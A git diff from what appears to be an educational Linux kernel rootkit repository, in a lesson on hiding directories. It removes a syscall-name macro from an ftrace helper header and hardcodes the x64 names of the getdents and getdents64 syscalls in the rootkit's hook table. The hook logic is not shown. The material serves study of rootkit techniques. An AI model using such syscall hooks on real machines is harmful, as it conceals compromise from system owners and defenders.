diff --git a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h
index 4e76d01..db0fba2 100644
--- a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h
+++ b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h
@@ -26,16 +26,9 @@
 };
 #endif
 
-/* x64 has to be special and require a different naming convention */
-#ifdef PTREGS_SYSCALL_STUBS
-#define SYSCALL_NAME(name) ("__x64_" name)
-#else
-#define SYSCALL_NAME(name) (name)
-#endif
-
 #define HOOK(_name, _hook, _orig)   \
 {                   \
-    .name = SYSCALL_NAME(_name),        \
+    .name = (_name),        \
     .function = (_hook),        \
     .original = (_orig),        \
 }
diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
index a67fdc5..6891129 100644
--- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
+++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c
@@ -347,8 +347,8 @@
 
 /* Declare the struct that ftrace needs to hook the syscall */
 static struct ftrace_hook hooks[] = {
-    HOOK("sys_getdents64", hook_getdents64, &orig_getdents64),
-    HOOK("sys_getdents", hook_getdents, &orig_getdents),
+    HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64),
+    HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents),
 };
 
 /* Module initialization function */